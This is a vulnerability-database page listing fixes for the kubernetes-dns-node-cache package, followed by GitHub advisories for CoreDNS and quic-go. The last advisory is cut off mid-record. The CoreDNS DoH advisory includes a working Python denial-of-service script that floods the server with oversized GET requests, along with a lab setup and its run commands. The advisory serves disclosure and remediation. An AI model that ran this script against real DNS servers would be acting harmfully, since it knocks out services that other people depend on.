Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package kubernetes-dns-node-cache version 1.26.0-r1 fixes 16 vulnerabilities: CVE-2026-32934, CVE-2026-32936, CVE-2026-33190, CVE-2026-33489, CVE-2026-35579...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "kubernetes-dns-node-cache"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.0-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.26.0-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package kubernetes-dns-node-cache version 1.26.0-r1 fixes 16 vulnerabilities: CVE-2026-32934, CVE-2026-32936, CVE-2026-33190, CVE-2026-33489, CVE-2026-35579...",
"id": "CLEANSTART-2026-OX46889",
"modified": "2026-08-14T05:56:32Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubernetes/dns"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in kubernetes-dns-node-cache 1.26.0-r1",
"upstream": [
"CVE-2026-32934",
"CVE-2026-32936",
"CVE-2026-33190",
"CVE-2026-33489",
"CVE-2026-35579",
"ghsa-2wpx-qpw2-g5h5",
"ghsa-63cw-r7xf-jmwr",
"ghsa-h8mm-c463-wjq3",
"ghsa-qhmp-q7xh-99rh",
"ghsa-vp29-5652-4fw9",
"CVE-2025-59530",
"CVE-2025-64702",
"CVE-2026-40898",
"ghsa-47m2-4cr7-mhcw",
"ghsa-g754-hx8w-x2g6",
"ghsa-vvgj-x9jq-8cj9"
]
}
GHSA-63CW-R7XF-JMWR
Vulnerability from github – Published: 2026-04-28 22:43 – Updated: 2026-06-12 19:25Summary
CoreDNS's DNS-over-HTTPS (DoH) GET path accepts oversized dns= query values and performs substantial request parsing, query unescaping, base64 decoding, and message unpacking work before returning 400 Bad Request.
A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to /dns-query?dns=... and force high CPU usage, large transient allocations, elevated garbage-collection pressure, and increased resident memory consumption even though the requests are ultimately rejected.
This is a denial-of-service issue caused by expensive pre-validation processing on the DoH GET path.
Details
The vulnerable flow is in plugin/pkg/doh/doh.go:
RequestToMsg()dispatches GET requests torequestToMsgGet():plugin/pkg/doh/doh.go:79-89requestToMsgGet()callsreq.URL.Query(), extractsdns, and passes it directly tobase64ToMsg():plugin/pkg/doh/doh.go:99-108base64ToMsg()decodes the full attacker-controlled value viab64Enc.DecodeString()and only then attempts to unpack it into a DNS message:plugin/pkg/doh/doh.go:121-130
Relevant snippet:
func requestToMsgGet(req *http.Request) (*dns.Msg, error) {
values := req.URL.Query()
b64, ok := values["dns"]
if !ok {
return nil, fmt.Errorf("no 'dns' query parameter found")
}
if len(b64) != 1 {
return nil, fmt.Errorf("multiple 'dns' query values found")
}
return base64ToMsg(b64[0])
}
func base64ToMsg(b64 string) (*dns.Msg, error) {
buf, err := b64Enc.DecodeString(b64)
if err != nil {
return nil, err
}
m := new(dns.Msg)
err = m.Unpack(buf)
return m, err
}
````
By contrast, the POST path applies a bounded read before unpacking:
```go
func toMsg(r io.ReadCloser) (*dns.Msg, error) {
buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536))
if err != nil {
return nil, err
}
m := new(dns.Msg)
err = m.Unpack(buf)
return m, err
}
So, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs.
In addition, the HTTPS server is created in core/dnsserver/server_https.go:87-92 without an explicit early GET-path size guard in this path:
srv := &http.Server{
ReadTimeout: s.ReadTimeout,
WriteTimeout: s.WriteTimeout,
IdleTimeout: s.IdleTimeout,
ErrorLog: stdlog.New(&loggerAdapter{}, "", 0),
}
As a result, oversized DoH GET request targets are processed through:
- HTTP request-line parsing
- URL query parsing / unescaping
- DoH GET extraction
- base64 decoding
- DNS message unpacking
before the request is rejected.
Root cause
The root cause is missing early size validation on the DoH GET path.
More specifically:
requestToMsgGet()performsreq.URL.Query()on attacker-controlled oversized request targets.- The extracted
dnsvalue is passed tobase64ToMsg()without an encoded-length or decoded-length bound. base64ToMsg()fully decodes the attacker-controlled string before any DNS-size rejection.- The POST path already has an explicit bounded read, but GET does not have an equivalent pre-decode bound.
This creates a pre-validation resource-amplification path for DoH GET.
PoC
Local test setup
I reproduced this locally against CoreDNS 1.14.2 over HTTPS with pprof enabled.
Create a self-signed certificate:
openssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \
-keyout key.pem -out cert.pem \
-subj "/CN=127.0.0.1"
Create this Corefile:
https://127.0.0.1:8443 {
whoami
log
errors
tls cert.pem key.pem
pprof 127.0.0.1:6060
}
Run CoreDNS:
./coredns -conf Corefile
Proof-of-concept script
#!/usr/bin/env python3
import argparse
import base64
import collections
import concurrent.futures
import http.client
import ssl
import time
def send_one(host, port, path, timeout):
ctx = ssl._create_unverified_context()
conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
try:
conn.request("GET", path, headers={
"Accept": "application/dns-message",
"Connection": "close",
})
resp = conn.getresponse()
resp.read()
return resp.status
except Exception as e:
return f"ERR:{type(e).__name__}"
finally:
try:
conn.close()
except Exception:
pass
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=8443)
ap.add_argument("--decoded-kib", type=int, default=720)
ap.add_argument("--workers", type=int, default=64)
ap.add_argument("--requests", type=int, default=5000)
ap.add_argument("--timeout", type=float, default=5.0)
args = ap.parse_args()
raw = b"A" * (args.decoded_kib * 1024)
b64 = base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
path = "/dns-query?dns=" + b64
print(f"[+] target = https://{args.host}:{args.port}")
print(f"[+] decoded bytes = {len(raw):,}")
print(f"[+] encoded chars = {len(b64):,}")
print(f"[+] request-target length = {len(path):,}")
print(f"[+] workers = {args.workers}, requests = {args.requests}")
print("[+] 400 responses are expected; the issue is expensive processing before rejection.\n")
started = time.time()
results = collections.Counter()
with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex:
futs = [
ex.submit(send_one, args.host, args.port, path, args.timeout)
for _ in range(args.requests)
]
for i, fut in enumerate(concurrent.futures.as_completed(futs), 1):
results[fut.result()] += 1
if i % 10 == 0 or i == args.requests:
print(f"[{i}/{args.requests}] {dict(results)}")
elapsed = time.time() - started
print("\n[+] done")
print(f"[+] elapsed = {elapsed:.2f}s")
print(f"[+] summary = {dict(results)}")
if __name__ == "__main__":
main()
Run the PoC:
python3 poc_doh_get_oversize_https.py \
--host 127.0.0.1 \
--port 8443 \
--decoded-kib 720 \
--workers 64 \
--requests 5000
Profiling commands used during reproduction
CPU profile:
(curl -s "http://127.0.0.1:6060/debug/pprof/profile?seconds=20" -o cpu_attack.pb.gz &) ; \
sleep 1 ; \
python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \
wait
go tool pprof -top ./coredns cpu_attack.pb.gz
Heap / allocation profiles:
curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_before.pb.gz
curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_before.pb.gz
python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000
curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_after.pb.gz
curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_after.pb.gz
go tool pprof -top -base heap_before.pb.gz ./coredns heap_after.pb.gz
go tool pprof -top -base allocs_before.pb.gz ./coredns allocs_after.pb.gz
Reproduction results
I confirmed the issue on:
- CoreDNS 1.14.2
- linux/amd64
- go1.26.1
PoC payload characteristics:
- decoded payload size:
737,280 bytes - base64url-encoded
dnslength:983,040 - request-target length:
983,055
Observed request outcome:
5000 / 5000requests returned400 Bad Request- total runtime for the 5000-request run:
18.22s
The important point is that the requests are rejected only after expensive processing has already happened.
CPU profile highlights
The CPU profile captured during the attack showed significant time in:
net/http.readRequestnet/url.ParseQuery/net/url.QueryUnescape/net/url.unescapegithub.com/coredns/coredns/plugin/pkg/doh.requestToMsgGetgithub.com/coredns/coredns/plugin/pkg/doh.base64ToMsgencoding/base64.(*Encoding).DecodeString- Go GC worker paths
Representative cumulative values from the captured profile included:
github.com/coredns/coredns/core/dnsserver.(*ServerHTTPS).ServeHTTP→10.91sgithub.com/coredns/coredns/plugin/pkg/doh.RequestToMsg→10.88sgithub.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet→10.88sgithub.com/coredns/coredns/plugin/pkg/doh.base64ToMsg→3.50sencoding/base64.(*Encoding).DecodeString→3.46snet/http.readRequest→10.57snet/url.(*URL).Query/ParseQuery/QueryUnescape→7.38sruntime.gcBgMarkWorkerand related GC paths were also heavily active
This demonstrates that the issue is not limited to final DNS unpacking. The oversized GET request forces meaningful work in HTTP parsing, URL handling, base64 decoding, and garbage collection before rejection.
Allocation profile highlights
Allocation profiling showed very large transient allocation volume caused by the rejected requests:
- total
alloc_space:26,756.48 MB
Top contributors included:
net/textproto.(*Reader).readLineSlice→19,668.19 MBnet/textproto.(*Reader).ReadLine→3,738.84 MBencoding/base64.(*Encoding).DecodeString→2,766.16 MB
Within the CoreDNS DoH GET path specifically:
github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg→2,775.67 MBgithub.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet→2,775.67 MBgithub.com/coredns/coredns/plugin/pkg/doh.base64ToMsg→2,773.67 MB
Heap delta (inuse_space) also showed live growth attributable to this path, including:
encoding/base64.(*Encoding).DecodeString→7,629.75 kB
Memory observations
Runtime memory monitoring showed a clear increase in peak resident usage during the attack:
- baseline
VmHWM / VmRSSbefore load was approximately55,864 kB - observed
VmHWMduring testing reached approximately146,100 kB
So even though requests returned 400, the server still experienced substantial transient memory growth and allocator / GC pressure before rejection.
Impact
A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to the HTTPS endpoint and force significant pre-rejection work.
Impact includes:
- elevated CPU consumption
- large transient allocations
- increased garbage-collection pressure
- higher peak resident memory usage
- degraded throughput and responsiveness
- denial of service risk on memory-constrained or heavily loaded deployments
This is especially relevant for internet-facing DoH deployments, where an attacker can repeatedly trigger the GET parsing path without authentication.
The fact that the final HTTP status is 400 Bad Request does not mitigate the issue, because the expensive processing has already occurred before the rejection is generated.
Suggested remediation
A robust fix should address both stages of the problem:
- Apply an early bound on the DoH GET request target / raw query length before expensive query parsing.
- Enforce an encoded-length and decoded-length limit for the
dnsparameter before callingDecodeString(). - Preserve equivalent size constraints across GET and POST paths.
A minimal hardening direction would be:
- reject oversized GET requests before
req.URL.Query()on the DoH path - reject
dnsvalues whose encoded length exceeds the maximum valid DNS message encoding - reject any decoded payload larger than the supported DNS message size before unpacking
Credit request: When referencing, republishing, or issuing downstream advisories for this vulnerability, please preserve the original researcher credit as Ali Firas (thesmartshadow).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coredns/coredns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32936"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-28T22:43:47Z",
"nvd_published_at": "2026-05-05T20:16:36Z",
"severity": "HIGH"
},
"details": "### Summary\n\nCoreDNS\u0027s DNS-over-HTTPS (DoH) GET path accepts oversized `dns=` query values and performs substantial request parsing, query unescaping, base64 decoding, and message unpacking work before returning `400 Bad Request`.\n\nA remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to `/dns-query?dns=...` and force high CPU usage, large transient allocations, elevated garbage-collection pressure, and increased resident memory consumption even though the requests are ultimately rejected.\n\nThis is a denial-of-service issue caused by expensive pre-validation processing on the DoH GET path.\n\n### Details\n\nThe vulnerable flow is in `plugin/pkg/doh/doh.go`:\n\n- `RequestToMsg()` dispatches GET requests to `requestToMsgGet()`:\n - `plugin/pkg/doh/doh.go:79-89`\n- `requestToMsgGet()` calls `req.URL.Query()`, extracts `dns`, and passes it directly to `base64ToMsg()`:\n - `plugin/pkg/doh/doh.go:99-108`\n- `base64ToMsg()` decodes the full attacker-controlled value via `b64Enc.DecodeString()` and only then attempts to unpack it into a DNS message:\n - `plugin/pkg/doh/doh.go:121-130`\n\nRelevant snippet:\n\n```go\nfunc requestToMsgGet(req *http.Request) (*dns.Msg, error) {\n values := req.URL.Query()\n b64, ok := values[\"dns\"]\n if !ok {\n return nil, fmt.Errorf(\"no \u0027dns\u0027 query parameter found\")\n }\n if len(b64) != 1 {\n return nil, fmt.Errorf(\"multiple \u0027dns\u0027 query values found\")\n }\n return base64ToMsg(b64[0])\n}\n\nfunc base64ToMsg(b64 string) (*dns.Msg, error) {\n buf, err := b64Enc.DecodeString(b64)\n if err != nil {\n return nil, err\n }\n\n m := new(dns.Msg)\n err = m.Unpack(buf)\n\n return m, err\n}\n````\n\nBy contrast, the POST path applies a bounded read before unpacking:\n\n```go\nfunc toMsg(r io.ReadCloser) (*dns.Msg, error) {\n buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536))\n if err != nil {\n return nil, err\n }\n m := new(dns.Msg)\n err = m.Unpack(buf)\n return m, err\n}\n```\n\nSo, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs.\n\nIn addition, the HTTPS server is created in `core/dnsserver/server_https.go:87-92` without an explicit early GET-path size guard in this path:\n\n```go\nsrv := \u0026http.Server{\n ReadTimeout: s.ReadTimeout,\n WriteTimeout: s.WriteTimeout,\n IdleTimeout: s.IdleTimeout,\n ErrorLog: stdlog.New(\u0026loggerAdapter{}, \"\", 0),\n}\n```\n\nAs a result, oversized DoH GET request targets are processed through:\n\n1. HTTP request-line parsing\n2. URL query parsing / unescaping\n3. DoH GET extraction\n4. base64 decoding\n5. DNS message unpacking\n\nbefore the request is rejected.\n\n### Root cause\n\nThe root cause is missing early size validation on the DoH GET path.\n\nMore specifically:\n\n* `requestToMsgGet()` performs `req.URL.Query()` on attacker-controlled oversized request targets.\n* The extracted `dns` value is passed to `base64ToMsg()` without an encoded-length or decoded-length bound.\n* `base64ToMsg()` fully decodes the attacker-controlled string before any DNS-size rejection.\n* The POST path already has an explicit bounded read, but GET does not have an equivalent pre-decode bound.\n\nThis creates a pre-validation resource-amplification path for DoH GET.\n\n### PoC\n\n#### Local test setup\n\nI reproduced this locally against CoreDNS 1.14.2 over HTTPS with `pprof` enabled.\n\nCreate a self-signed certificate:\n\n```bash\nopenssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \\\n -keyout key.pem -out cert.pem \\\n -subj \"/CN=127.0.0.1\"\n```\n\nCreate this `Corefile`:\n\n```txt\nhttps://127.0.0.1:8443 {\n whoami\n log\n errors\n tls cert.pem key.pem\n pprof 127.0.0.1:6060\n}\n```\n\nRun CoreDNS:\n\n```bash\n./coredns -conf Corefile\n```\n\n#### Proof-of-concept script\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport base64\nimport collections\nimport concurrent.futures\nimport http.client\nimport ssl\nimport time\n\ndef send_one(host, port, path, timeout):\n ctx = ssl._create_unverified_context()\n conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)\n try:\n conn.request(\"GET\", path, headers={\n \"Accept\": \"application/dns-message\",\n \"Connection\": \"close\",\n })\n resp = conn.getresponse()\n resp.read()\n return resp.status\n except Exception as e:\n return f\"ERR:{type(e).__name__}\"\n finally:\n try:\n conn.close()\n except Exception:\n pass\n\ndef main():\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--host\", default=\"127.0.0.1\")\n ap.add_argument(\"--port\", type=int, default=8443)\n ap.add_argument(\"--decoded-kib\", type=int, default=720)\n ap.add_argument(\"--workers\", type=int, default=64)\n ap.add_argument(\"--requests\", type=int, default=5000)\n ap.add_argument(\"--timeout\", type=float, default=5.0)\n args = ap.parse_args()\n\n raw = b\"A\" * (args.decoded_kib * 1024)\n b64 = base64.urlsafe_b64encode(raw).rstrip(b\"=\").decode()\n path = \"/dns-query?dns=\" + b64\n\n print(f\"[+] target = https://{args.host}:{args.port}\")\n print(f\"[+] decoded bytes = {len(raw):,}\")\n print(f\"[+] encoded chars = {len(b64):,}\")\n print(f\"[+] request-target length = {len(path):,}\")\n print(f\"[+] workers = {args.workers}, requests = {args.requests}\")\n print(\"[+] 400 responses are expected; the issue is expensive processing before rejection.\\n\")\n\n started = time.time()\n results = collections.Counter()\n\n with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex:\n futs = [\n ex.submit(send_one, args.host, args.port, path, args.timeout)\n for _ in range(args.requests)\n ]\n for i, fut in enumerate(concurrent.futures.as_completed(futs), 1):\n results[fut.result()] += 1\n if i % 10 == 0 or i == args.requests:\n print(f\"[{i}/{args.requests}] {dict(results)}\")\n\n elapsed = time.time() - started\n print(\"\\n[+] done\")\n print(f\"[+] elapsed = {elapsed:.2f}s\")\n print(f\"[+] summary = {dict(results)}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\nRun the PoC:\n\n```bash\npython3 poc_doh_get_oversize_https.py \\\n --host 127.0.0.1 \\\n --port 8443 \\\n --decoded-kib 720 \\\n --workers 64 \\\n --requests 5000\n```\n\n#### Profiling commands used during reproduction\n\nCPU profile:\n\n```bash\n(curl -s \"http://127.0.0.1:6060/debug/pprof/profile?seconds=20\" -o cpu_attack.pb.gz \u0026) ; \\\nsleep 1 ; \\\npython3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \\\nwait\n\ngo tool pprof -top ./coredns cpu_attack.pb.gz\n```\n\nHeap / allocation profiles:\n\n```bash\ncurl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_before.pb.gz\ncurl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_before.pb.gz\n\npython3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000\n\ncurl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_after.pb.gz\ncurl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_after.pb.gz\n\ngo tool pprof -top -base heap_before.pb.gz ./coredns heap_after.pb.gz\ngo tool pprof -top -base allocs_before.pb.gz ./coredns allocs_after.pb.gz\n```\n\n### Reproduction results\n\nI confirmed the issue on:\n\n* CoreDNS 1.14.2\n* linux/amd64\n* go1.26.1\n\nPoC payload characteristics:\n\n* decoded payload size: `737,280 bytes`\n* base64url-encoded `dns` length: `983,040`\n* request-target length: `983,055`\n\nObserved request outcome:\n\n* `5000 / 5000` requests returned `400 Bad Request`\n* total runtime for the 5000-request run: `18.22s`\n\nThe important point is that the requests are rejected only after expensive processing has already happened.\n\n#### CPU profile highlights\n\nThe CPU profile captured during the attack showed significant time in:\n\n* `net/http.readRequest`\n* `net/url.ParseQuery` / `net/url.QueryUnescape` / `net/url.unescape`\n* `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet`\n* `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg`\n* `encoding/base64.(*Encoding).DecodeString`\n* Go GC worker paths\n\nRepresentative cumulative values from the captured profile included:\n\n* `github.com/coredns/coredns/core/dnsserver.(*ServerHTTPS).ServeHTTP` \u2192 `10.91s`\n* `github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg` \u2192 `10.88s`\n* `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet` \u2192 `10.88s`\n* `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg` \u2192 `3.50s`\n* `encoding/base64.(*Encoding).DecodeString` \u2192 `3.46s`\n* `net/http.readRequest` \u2192 `10.57s`\n* `net/url.(*URL).Query` / `ParseQuery` / `QueryUnescape` \u2192 `7.38s`\n* `runtime.gcBgMarkWorker` and related GC paths were also heavily active\n\nThis demonstrates that the issue is not limited to final DNS unpacking. The oversized GET request forces meaningful work in HTTP parsing, URL handling, base64 decoding, and garbage collection before rejection.\n\n#### Allocation profile highlights\n\nAllocation profiling showed very large transient allocation volume caused by the rejected requests:\n\n* total `alloc_space`: `26,756.48 MB`\n\nTop contributors included:\n\n* `net/textproto.(*Reader).readLineSlice` \u2192 `19,668.19 MB`\n* `net/textproto.(*Reader).ReadLine` \u2192 `3,738.84 MB`\n* `encoding/base64.(*Encoding).DecodeString` \u2192 `2,766.16 MB`\n\nWithin the CoreDNS DoH GET path specifically:\n\n* `github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg` \u2192 `2,775.67 MB`\n* `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet` \u2192 `2,775.67 MB`\n* `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg` \u2192 `2,773.67 MB`\n\nHeap delta (`inuse_space`) also showed live growth attributable to this path, including:\n\n* `encoding/base64.(*Encoding).DecodeString` \u2192 `7,629.75 kB`\n\n#### Memory observations\n\nRuntime memory monitoring showed a clear increase in peak resident usage during the attack:\n\n* baseline `VmHWM / VmRSS` before load was approximately `55,864 kB`\n* observed `VmHWM` during testing reached approximately `146,100 kB`\n\nSo even though requests returned `400`, the server still experienced substantial transient memory growth and allocator / GC pressure before rejection.\n\n### Impact\n\nA remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to the HTTPS endpoint and force significant pre-rejection work.\n\nImpact includes:\n\n* elevated CPU consumption\n* large transient allocations\n* increased garbage-collection pressure\n* higher peak resident memory usage\n* degraded throughput and responsiveness\n* denial of service risk on memory-constrained or heavily loaded deployments\n\nThis is especially relevant for internet-facing DoH deployments, where an attacker can repeatedly trigger the GET parsing path without authentication.\n\nThe fact that the final HTTP status is `400 Bad Request` does not mitigate the issue, because the expensive processing has already occurred before the rejection is generated.\n\n### Suggested remediation\n\nA robust fix should address both stages of the problem:\n\n1. Apply an early bound on the DoH GET request target / raw query length before expensive query parsing.\n2. Enforce an encoded-length and decoded-length limit for the `dns` parameter before calling `DecodeString()`.\n3. Preserve equivalent size constraints across GET and POST paths.\n\nA minimal hardening direction would be:\n\n* reject oversized GET requests before `req.URL.Query()` on the DoH path\n* reject `dns` values whose encoded length exceeds the maximum valid DNS message encoding\n* reject any decoded payload larger than the supported DNS message size before unpacking\n\n---\n\n**Credit request: When referencing, republishing, or issuing downstream advisories for this vulnerability, please preserve the original researcher credit as Ali Firas (thesmartshadow).**",
"id": "GHSA-63cw-r7xf-jmwr",
"modified": "2026-06-12T19:25:56Z",
"published": "2026-04-28T22:43:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-63cw-r7xf-jmwr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32936"
},
{
"type": "PACKAGE",
"url": "https://github.com/coredns/coredns"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/releases/tag/v1.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CoreDNS DoH GET oversized dns= query parameter causes pre-validation CPU and memory amplification"
}
GHSA-G754-HX8W-X2G6
Vulnerability from github – Published: 2025-12-11 16:48 – Updated: 2025-12-17 00:36Summary
An attacker can cause excessive memory allocation in quic-go's HTTP/3 client and server implementations by sending a QPACK-encoded HEADERS frame that decodes into a large header field section (many unique header names and/or large values). The implementation builds an http.Header (used on the http.Request and http.Response, respectively), while only enforcing limits on the size of the (QPACK-compressed) HEADERS frame, but not on the decoded header, leading to memory exhaustion.
Impact
A misbehaving or malicious peer can cause a denial-of-service (DoS) attack on quic-go's HTTP/3 servers or clients by triggering excessive memory allocation, potentially leading to crashes or exhaustion. It affects both servers and clients due to symmetric header construction.
Details
In HTTP/3, headers are compressed using QPACK (RFC 9204). quic-go's HTTP/3 server (and client) decodes the QPACK-encoded HEADERS frame into header fields, then constructs an http.Request (or response).
http3.Server.MaxHeaderBytes and http3.Transport.MaxResponseHeaderBytes, respectively, limit encoded HEADERS frame size (default: 1 MB server, 10 MB client), but not decoded size. A maliciously crafted HEADERS frame can expand to ~50x the encoded size using QPACK static table entries with long names / values.
RFC 9114 requires enforcing decoded field section size limits via SETTINGS, which quic-go did not do.
The Fix
quic-go now enforces RFC 9114 decoded field section size limits, sending SETTINGS_MAX_FIELD_SECTION_SIZE and using incremental QPACK decoding to check the header size after each entry, aborting early on violations with HTTP 431 (on the server side) and stream reset (on the client side).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/quic-go/quic-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.57.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64702"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-11T16:48:27Z",
"nvd_published_at": "2025-12-11T21:15:54Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nAn attacker can cause excessive memory allocation in quic-go\u0027s HTTP/3 client and server implementations by sending a QPACK-encoded HEADERS frame that decodes into a large header field section (many unique header names and/or large values). The implementation builds an `http.Header` (used on the `http.Request` and `http.Response`, respectively), while only enforcing limits on the size of the (QPACK-compressed) HEADERS frame, but not on the decoded header, leading to memory exhaustion.\n\n## Impact\n\nA misbehaving or malicious peer can cause a denial-of-service (DoS) attack on quic-go\u0027s HTTP/3 servers or clients by triggering excessive memory allocation, potentially leading to crashes or exhaustion. It affects both servers and clients due to symmetric header construction.\n\n## Details\n\nIn HTTP/3, headers are compressed using QPACK (RFC 9204). quic-go\u0027s HTTP/3 server (and client) decodes the QPACK-encoded HEADERS frame into header fields, then constructs an http.Request (or response).\n\n`http3.Server.MaxHeaderBytes` and `http3.Transport.MaxResponseHeaderBytes`, respectively, limit encoded HEADERS frame size (default: 1 MB server, 10 MB client), but not decoded size. A maliciously crafted HEADERS frame can expand to ~50x the encoded size using QPACK static table entries with long names / values.\n\nRFC 9114 requires enforcing decoded field section size limits via SETTINGS, which quic-go did not do.\n\n## The Fix\n\nquic-go now enforces RFC 9114 decoded field section size limits, sending SETTINGS_MAX_FIELD_SECTION_SIZE and using incremental QPACK decoding to check the header size after each entry, aborting early on violations with HTTP 431 (on the server side) and stream reset (on the client side).",
"id": "GHSA-g754-hx8w-x2g6",
"modified": "2025-12-17T00:36:27Z",
"published": "2025-12-11T16:48:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/quic-go/quic-go/security/advisories/GHSA-g754-hx8w-x2g6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64702"
},
{
"type": "WEB",
"url": "https://github.com/quic-go/quic-go/commit/5b2d2129f8315da41e01eff0a847ab38a34e83a8"
},
{
"type": "PACKAGE",
"url": "https://github.com/quic-go/quic-go"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "quic-go HTTP/3 QPACK Header Expansion DoS"
}
GHSA-H8MM-C463-WJQ3
Vulnerability from github – Published: 2026-04-28 22:44 – Updated: 2026-05-08 15:28Summary
CoreDNS' transfer plugin can select the wrong ACL stanza when both a parent zone and a more-specific subzone are configured. A permissive parent-zone transfer rule can override a restrictive subzone rule (name-dependent), allowing an unauthorized client to perform AXFR/IXFR for the subzone and retrieve its zone contents.
Details
In plugin/transfer/transfer.go, stanza selection is implemented by longestMatch(), which is documented as "longest zone match wins", but it actually chooses the winner via a lexicographic string comparison: - zone := "" // longest zone match wins (plugin/transfer/transfer.go) - if z > zone { zone = z; x = xfr } (plugin/transfer/transfer.go)
So, a parent zone like example.org. can beat a child zone like a.example.org. purely due to lexicographic ordering ("example.org." > "a.example.org."), even though the child zone is the longer/more specific suffix match. The bypass is data-dependent (some child labels will win, some will lose), making it operationally non-intuitive.
PoC
- Adjust COREDNS_BIN in the PoC to point at right path (see the top-level const definitions for tunables as well)
- Run python3 ./acl-repro.py
- Expected output: *** Baseline (only subzone transfer rule) *** axfr a.example.org.: rcode=5 ancount=0 (expected REFUSED=5)
*** Candidate (add permissive parent transfer rule) *** axfr a.example.org.: rcode=0 ancount=5 (expected NOERROR=0 with ancount>0)
*** OK *** Subzone transfer ACL bypass reproduced: adding a permissive parent-zone stanza can override a stricter child-zone stanza due to lexicographic zone selection.
Impact
Unauthorized zone transfer can expose full zone contents to a remote network client that was intended to be denied by a subzone-specific transfer policy.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coredns/coredns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33489"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-28T22:44:39Z",
"nvd_published_at": "2026-05-05T20:16:36Z",
"severity": "HIGH"
},
